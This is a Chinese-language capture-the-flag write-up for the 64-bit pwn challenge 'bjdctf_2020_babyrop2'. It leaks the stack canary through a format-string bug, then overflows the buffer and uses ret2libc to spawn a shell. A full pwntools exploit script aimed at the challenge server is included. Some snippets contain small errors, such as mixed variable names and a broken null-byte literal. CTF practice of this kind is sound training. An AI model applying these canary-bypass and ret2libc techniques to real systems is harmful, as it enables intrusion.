bjdctf_2020_babyrop2
步骤:
- 例行检查,64位程序,开启了NX和canary保护
2. 试运行一下程序,看看大概的情况 提示我们去泄露libc
3. 64位ida载入,从main函数开始看程序
init
gift
第9行的printf函数存在格式化字符串漏洞,可以利用这点去泄露canary的值
vuln
buf参数存在溢出漏洞,只要绕过了canary就能够利用ret2libc的方法获取shell
利用思路:
- 利用格式化字符串泄露出canary的值
- 利用溢出漏洞,将canary的值填入绕过canary检测,利用ret2libc的方法获取shell
利用过程:
- 泄露canary的值
首先找一下输入点参数在栈上的相对位置(找偏移量),之前我都是输入aaa %08x %08x……%08x
这样的字符串去找偏移的,这次不可以,换了一种方法,输入%n$p
,n
是偏移量,配上%$p
就能定位到偏移量处,输出该位置上的内容,%p
是以16进制输出
最后找到偏移量是6
找个nop指令,给程序下个断点,看一下程序里栈的情况
可以看到在我们6161的下一行,有一串16进制数,这个就是canary的值,我们只要利用%7$p就能泄露出它的值,而且也看到了它在栈上的位置是0x20-8=0x18
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
canary = int(p.recv(16),16)
- 利用ret2libc的方式获取shell
这边打算利用puts函数来泄露libc,puts函数只有一个参数,64位传参,只要借用一个rdi寄存器即可,找一下设置rdi寄存器指令的地址
pop_rdi=0x400993
之后构造常用的泄露libc的payload
payload = 'a'*(0x20-8)+p64(canary) #填上cancry
payload += p64(0) #覆盖ebp,尝试写入了‘bbbbbbbb’来覆盖,但是在构造rop攻击获取shell的时候这样写不成功,改成了随意写一个数据覆盖可以成功
payload += p64(pop_rdi) #设置rdi寄存器的值
payload += p64(puts_got) #将rdi寄存器设置成了puts函数的got表地址
payload += p64(puts_plt) #调用puts函数,去输出puts函数的got表地址
payload += p64(vuln_addr) #程序跳转到vuln函数,继续控制,再次利用输入点的溢出漏洞
r.recvuntil('story!
')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'x00'))
print hex(puts_addr)
之后就是计算system函数和bin/sh字符串的地址
libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')
构造rop攻击获取shell
payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)
r.sendline(payload)
完整的exp:
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',26842)
elf=ELF('./bjdctf_2020_babyrop2')
context.log_level = 'debug'
#p.recv()
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
cancry = int(r.recv(16),16)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993
main_addr = elf.symbols['main']
vuln_addr = 0x0400887
payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
r.recvuntil('story!
')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'x00'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')
r.recvuntil('story!
')
payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)
r.sendline(payload)
r.interactive()